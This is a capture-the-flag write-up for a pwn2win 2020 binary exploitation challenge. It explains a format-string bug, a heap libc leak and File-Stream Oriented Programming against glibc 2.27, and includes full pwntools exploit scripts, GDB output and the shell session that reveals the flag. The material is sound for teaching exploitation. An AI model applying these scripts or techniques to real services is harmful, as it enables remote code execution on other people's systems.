Playing with File-Stream Oriented Programming (FSOP)!
This is a PWN challenge (263 pt, 27 solves).
Through reverse engineering work on Pixel 6, we identified the ButcherCorp server responsible for programming the RBSes. Our exploration team was only able to have limited access to this machine and extract the binaries from the programming service. As it runs with high privilege, exploiting it will allow us to extract more data from that server. Those data will bring us closer to the discovery of the person responsible for the Rebellion. Can you help us with this task?
Server:nc command.pwn2.win 1337
peilin@PWN:~/pwn2winctf-2020$ tar -xvf at_your_command.tar.gz
at_your_command/command
at_your_command/libc.so.6
at_your_command/
peilin@PWN:~/pwn2winctf-2020$ cd at_your_command
peilin@PWN:~/pwn2winctf-2020/at_your_command$ file command
command: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=66620437ea7a9cb38d86b283dbdb27d8a51b8936, stripped
peilin@PWN:~/pwn2winctf-2020/at_your_command$ checksec command
[*] ‘/home/user/pwn2winctf-2020/at_your_command/command’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
peilin@PWN:~/pwn2winctf-2020/at_your_command$ strings libc.so.6 | grep “version 2.”
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Okay. Full protection, libc version is 2.27
.
Let’s see what it does:
peilin@PWN:~/pwn2winctf-2020/at_your_command$ ./command
Welcome to the command system
=============================
Your name: ypl
Welcome ypl
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 1
Priority: …
Command: …
The command has been included at index 0
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 5
Sending commands…
Are you sending the commands to which rbs?
…
You command Mr. ypl!
Oh, sorry for the typo…My name is actually %p%p%p%p
! 🙂
peilin@PWN:~/pwn2winctf-2020/at_your_command$ ./command
Welcome to the command system
=============================
Your name: %p%p%p%p
Welcome %p%p%p%p
…
You command Mr. (nil)(nil)(!
That’s not my name. 🙁 Basically, in a function at offset 0x123d
(I call it do_send()
), we have something like:
snprintf(&src, 0xCuLL, buf);
This gives us 12 bytes to carry out a format string attack.
There’s another vulnerability in the Include
option at offset 0xe55
:
int __fastcall sub_E55(__int64 a1, __int64 a2) { signed int i; // [rsp+14h] [rbp-1Ch] ssize_t v4; // [rsp+18h] [rbp-18h] for ( i = 0; ; ++i ) { if ( i > 9 ) return puts("[INFO] The authorized limit has been reached!"); if ( !*(_QWORD *)(8LL * i + a1) ) break; } *(_QWORD *)(8LL * i + a1) = malloc(0x188uLL); printf("Priority: "); **(_QWORD **)(8LL * i + a1) = (signed int)sub_CE0("Priority: ", a2); printf("Command: "); v4 = read(0, (void *)(*(_QWORD *)(8LL * i + a1) + 8LL), 0x170uLL); if ( v4 ) { if ( *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v4 - 1 + 8) == 10 ) *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v4 - 1 + 8) = 0; } return printf("The command has been included at index %d\n", (unsigned int)i); }
The program calls malloc(0x188)
to save our input data, but never initialize it – so let’s pick off a chunk from unsorted bin then leak some libc pointers from it (using either Review
or List
):
#!/usr/bin/env python from pwn import * e = ELF("./command", checksec=False) def include(pri, cmd): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"Priority: ", str(pri)) p.sendafter(b"Command: ", cmd) def review(idx): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"Command index: ", str(idx)) def delete(idx): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Command index: ", str(idx)) def dummy(n): return cyclic(n) if __name__ == "__main__": p = process(e.path, level="error") p.recvuntil("Your name: ") p.send(b"whatever") for _ in range(10): include(0, dummy(0x170)) # put a chunk into unsorted bin for i in range(9): delete(i) for _ in range(8): include(0, dummy(0x170)) # pick off the chunk from unsorted bin... # ...but don't overwrite too much! include(0, dummy(0x1)) # so that we can print it and leak libc review(8) p.recvuntil("Command: ") libc_base = ((u64(p.recvline().strip().rjust(6, b"\x00").ljust(8, b"\x00")) - 0x3eb000) & ~0xfff) success(f"libc: {hex(libc_base)}") p.close()
peilin@PWN:~/pwn2winctf-2020/at_your_command$ python3 leak.py
[+] libc: 0x7ffff79e4000
Nice.
Now what? Let’s take a closer look at what happens after we choose to Send
:
stream = fopen(filename, modes); if ( !stream ) { printf("[ERROR] An error happened while opening the file", modes, 0LL); exit(2); } do_send((__int64)&s, &stream); fclose(stream); return 0LL; }
The program opens a file, calls do_send()
(which contains the snprintf()
in question), closes it, then simply returns.
Since we only have 12 bytes for the format string attack, we will have to reuse a pointer on the stack. Let’s break right before the vulnerable snprintf()
and see:
pwndbg> x/10gx $rsp
0x7fffffffe330: 0x00007fffffffe390 0x00007fffffffe3a0
0x7fffffffe340: 0x0000000a55756080 0x0000000000000001
0x7fffffffe350: 0x0000000000000000 0x0000000000000000
0x7fffffffe360: 0x0000000000000000 0x0000000000000000
0x7fffffffe370: 0x00007fff00000000 0x726bb597bc8b8300
pwndbg> i r rbp
rbp 0x7fffffffe380 0x7fffffffe380
[rbp-0x50]
is a pointer of pointer to the file (struct _IO_FILE_plus
) we just opened:
pwndbg> x/gx 0x00007fffffffe390
0x7fffffffe390: 0x00005555557573f0
pwndbg> p *(struct _IO_FILE_plus *)0x00005555557573f0
$1 = {
file = {
_flags = -72536956,
_IO_read_ptr = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
_IO_read_end = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
_IO_read_base = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
_IO_write_base = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
_IO_write_ptr = 0x55555575763a “”,
_IO_write_end = 0x555555758620 “”,
_IO_buf_base = 0x555555757620 “Id: 0\n8848:deadbeefcafebabe\n“,
_IO_buf_end = 0x555555758620 “”,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 ‘\000’,
_shortbuf = “”,
_lock = 0x5555557574d0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x5555557574e0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = ‘\000’ <repeats 19 times>
},
vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
fopen()
allocated (by calling malloc()
) and initialized this structure on heap.
My plan is: I write a fake _IO_FILE_plus
struct onto the heap. Since the real struct is also on the heap, chances are I can partially overwrite the struct pointer to make it point to my fake struct (by using the hn
or hhn
format specifiers), so that later fclose()
will close our fake struct instead of the real one. Ideally, by crafting the fake struct with care, we can confuse fclose()
into popping a shell for us. This technique is known as File-Stream Oriented Programming (FSOP).
How? Let’s take a closer look at fclose()
(2.27). Internally, it is called _IO_new_fclose()
. In libio/iofclose.c:32
:
int _IO_new_fclose (_IO_FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) /* We desperately try to help programs which are using streams in a strange way and mix old and new functions. Detect old streams here. */ if (_IO_vtable_offset (fp) != 0) return _IO_old_fclose (fp); #endif /* First unlink the stream. */ if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp); if (fp->_mode > 0) { /* This stream has a wide orientation. This means we have to free the conversion functions. */ struct _IO_codecvt *cc = fp->_codecvt; __libc_lock_lock (__gconv_lock); __gconv_release_step (cc->__cd_in.__cd.__steps); __gconv_release_step (cc->__cd_out.__cd.__steps); __libc_lock_unlock (__gconv_lock); } else { if (_IO_have_backup (fp)) _IO_free_backup_area (fp); } if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_IO_file_flags = 0; free(fp); } return status; }
Let’s focus on line 57, where it does _IO_FINISH (fp);
. _IO_FINISH
is a macro defined in libio/libioP.h
, which essentially triggers a function pointer in vtable
of the _IO_FILE_plus
struct.
Remember that struct _IO_FILE_plus
is defined in libio/libioP.h:322
as:
struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; };
Let’s go back to GDB and see how it looks like in memory:
…
vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
pwndbg> xinfo 0x7ffff7dcc2a0
Extended information for virtual address 0x7ffff7dcc2a0:
Containing mapping:
0x7ffff7dcb000 0x7ffff7dcf000 r–p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
…
pwndbg> p *(struct _IO_jump_t *)0x7ffff7dcc2a0
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a70330 <_IO_new_file_finish>,
__overflow = 0x7ffff7a71300 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a71020 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a723c0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a73c50 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a6f930 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a6f590 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a6eb90 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a72990 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a6e850 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a6e6d0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a62100 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a6f910 <__GI__IO_file_read>,
__write = 0x7ffff7a6f190 <_IO_new_file_write>,
__seek = 0x7ffff7a6e910 <__GI__IO_file_seek>,
__close = 0x7ffff7a6e840 <__GI__IO_file_close>,
__stat = 0x7ffff7a6f180 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a73dd0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73de0 <_IO_default_imbue>
}
As you can see, the vtable
field contains a struct _IO_jump_t
pointer, pointing at this read-only table inside libc. Essentially what _IO_FINISH
does is finding a function pointer at offset 0x10
of the table, in our case, _IO_new_file_finish
.
For libc versions <= 2.23, exploiting this was trivial. We simply make vtable
point to somewhere we control, and put 0xdeadbeef
at offset 0x10
. Then, whenever _IO_FINISH
thinks it is calling _IO_new_file_finish()
, it is actually calling 0xdeadbeef
instead. Easy PC control!
But we are dealing with 2.27. 🙁 Since 2.24, libc has introduced more checks on vtable
. For example, go down through the layers of definition of _IO_FINISH
in 2.27, and you will see a function called IO_validate_vtable()
(defined in libio/libioP.h:865
) being called before vtable
is referenced. IO_validate_vtable()
checks whether the vtable
pointer is actually pointing into that read-only data region inside libc. If it is not, it calls _IO_vtable_check()
to do more checks, which is likely to abort the entire process. In short, we can’t just point vtable
to anywhere we can write to.
So now what? Fortunately, _IO_file_jumps
is not the only vtable
inside that region. There’s another one, called _IO_str_jumps
, right after _IO_file_jumps
:
pwndbg> p &_IO_file_jumps
$3 = (const struct _IO_jump_t *) 0x7ffff7dcc2a0 <_IO_file_jumps>
pwndbg> p &_IO_str_jumps
$4 = (const struct _IO_jump_t *) 0x7ffff7dcc360 <_IO_str_jumps>
pwndbg> p _IO_str_jumps
$5 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a74300 <_IO_str_finish>,
__overflow = 0x7ffff7a73f60 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a73f00 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a723c0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a742e0 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a72420 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a725d0 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a74430 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a72990 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a72860 <_IO_default_setbuf>,
__sync = 0x7ffff7a72c50 <_IO_default_sync>,
__doallocate = 0x7ffff7a72a00 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a73db0 <_IO_default_read>,
__write = 0x7ffff7a73dc0 <_IO_default_write>,
__seek = 0x7ffff7a73d90 <_IO_default_seek>,
__close = 0x7ffff7a72c50 <_IO_default_sync>,
__stat = 0x7ffff7a73da0 <_IO_default_stat>,
__showmanyc = 0x7ffff7a73dd0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73de0 <_IO_default_imbue>
}
As you can see _IO_str_jumps
also contains a whole bunch of interesting function pointers. By slightly and carefully adjusting our fake vtable
pointer, we can replace _IO_new_file_finish()
with other function pointers in the same read-only region.
It turns out that, at the same offset, 0x10
, of _IO_str_jumps
, _IO_str_finish()
is actually a very interesting function, defined in libio/strops.c:345
:
void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
fp
is our struct _IO_FILE
pointer, but on line 349, the program casts it into a struct _IO_strfile
pointer, takes its _s._free_buffer
field as a function pointer, and calls it with fp->_IO_buf_base
as the single argument.
struct _IO_strfile
is defined in libio/strfile.h:49
. I’ll do the math for you: ((_IO_strfile *) fp)->_s._free_buffer
equals to fp
plus 0xe8
.
Now we are ready to build our fake struct _IO_FILE_plus
. Let’s call it fake
.
When the program tries to call fclose()
on fake
, it should eventually call _IO_FINISH
. We point fake.vtable
to _IO_str_jumps
, so that when _IO_FINISH
thinks it is calling _IO_new_file_finish()
, it is actually calling _IO_str_finish()
instead.
We put the address of system()
at &fake + 0xe8
, then set fake._IO_buf_base
to the address of "/bin/sh\0"
, so that when _IO_str_finish()
does (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)
, it is actually doing system("/bin/sh")
!
Phew, that was a lot. Well, of course you could simply try putting the address of a one_gadget at &fake + 0xe8
, but this time all three one_gadgets didn’t work out for me (God Rest Ye Merry, movaps
). 🙂
One last thing. fclose()
is a pretty long function, and it branches. You may want to make sure that your fake
(especially fake._flags
) contain the appropriate values that lead us to the right code path:
On libio/iofclose.c
, line 48, 51 and 52:
if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; _IO_release_lock (fp); _IO_FINISH (fp);
For line 48 and 52, if they pass, the program calls some long and annoying functions. You may want to make sure that fake._flags & 0x2000 == 0
to make them fail.
For line 51, if _IO_USER_LOCK
is set in fake._flags
, _IO_acquire_lock()
simply returns without doing anything that may crash our exploit. Make sure that fake._flags & 0x8000 == 1
.
Finally, in _IO_str_finish()
, on libio/strops.c:348
:
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
Right before our system("/bin/sh")
! Definitely make sure that fake._IO_buf_base
is not empty, and fake._flags & 0x1 == 0
.
All these macro definitions can be found in libio/bits/libio.h
.
Here is my script. It does a 2-byte partial overwrite on that struct _IO_FILE_plus
pointer, so the success rate is 1/16.
#!/usr/bin/env python from pwn import * e = ELF("./command") l = ELF("./libc.so.6", checksec=False) # 2.27 def include(pri, cmd): p.sendlineafter(b"> ", b"1") p.sendlineafter(b"Priority: ", str(pri)) p.sendafter(b"Command: ", cmd) def review(idx): p.sendlineafter(b"> ", b"2") p.sendlineafter(b"Command index: ", str(idx)) def delete(idx): p.sendlineafter(b"> ", b"3") p.sendlineafter(b"Command index: ", str(idx)) def send(): p.sendlineafter(b"> ", b"5") p.sendlineafter(b"to which rbs?", b"PWN!") def dummy(n): return cyclic(n) if __name__ == "__main__": p = remote("command.pwn2.win", 1337) p.recvuntil("Your name: ") p.send(b"%32896c%4$hn") # 0x8080 # put a chunk into unsorted bin for _ in range(10): include(0, dummy(0x170)) for i in range(9): delete(i) for _ in range(8): include(0, dummy(0x170)) # pick off the chunk from unsorted bin... # ...but don't overwrite too much! include(0, dummy(0x1)) # so that we can print it and leak libc review(8) p.recvuntil("Command: ") libc_base = ((u64(p.recvline().strip().rjust(6, b"\x00").ljust(8, b"\x00")) - 0x3eb000) & ~0xfff) # https://libc.blukat.me/d/libc6_2.27-3ubuntu1_i386.symbols str_bin_sh = libc_base + 0x1b3e9a libc_system = libc_base + 0x04f440 # idea: fake _IO_FILE_plus # 1) set `vtable` to `_IO_str_jumps` instead of `_IO_file_jumps` # 2) so that, instead of _IO_new_file_finish(), fclose() will call _IO_str_finish(), which does: # libio/strops.c:349: (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # 3) set `((_IO_strfile *) fp)->_s._free_buffer` to system() # 4) set `fp->_IO_buf_base` to "/bin/sh" # 5) take care of other restrictions for things to work _io_str_jumps = libc_base + 0x3e8360 success("__IO_str_jumps: {0}".format(hex(_io_str_jumps))) from FILE import * context.arch = "amd64" fake_file = IO_FILE_plus_struct() fake_file._flags = 0x8000 fake_file._IO_buf_base = str_bin_sh fake_file.vtable = _io_str_jumps # restriction: # libio/iofclose.c:48/52: if (fp->_IO_file_flags & _IO_IS_FILEBUF) assert(fake_file._flags & 0x2000 == 0) # libio/bits/libio.h:112: #define _IO_IS_FILEBUF 0x2000 # libio/iofclose.c:51: _IO_acquire_lock (fp); assert(fake_file._flags & 0x8000 != 0) # libio/bits/libio.h:114: #define _IO_USER_LOCK 0x8000 # libio/strops.c:348: if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) assert(fake_file._IO_buf_base) assert(fake_file._flags & 1 == 0) # libio/bits/libio.h:99: #define _IO_USER_BUF 1 payload = dummy(8) payload += fake_file.pack() # 0xe0 payload += dummy(8) # 0xe8 payload += p64(libc_system) # ((_IO_strfile *) fp)->_s._free_buffer delete(9) include(0, payload) # trigger printf() and fclose() send() p.interactive()
I modified the struct _IO_FILE_plus
constructor module (FILE.py
) by Veritas501 to make it work with python3.
$ cd home
$ ls
commander
ubuntu
$ cd commander
$ ls
command
commander
flag.txt
libc.so.6
$ cat flag.txt
CTF-BR{_wh4t_4_fUn_xpl_ch41n_mY_c0mm4nd3r_}
Awesome! That was indeed a fUn xpl ch41n!
Side note about _IO_acquire_lock
: It is also possible to turn off the _IO_USER_LOCK
bit in fake._flags
. In that case, _IO_acquire_lock
will try to write something to fake._lock + 0x8
, so remember to set it to somewhere writable (I tried setting it to __malloc_hook
, and it worked).
References: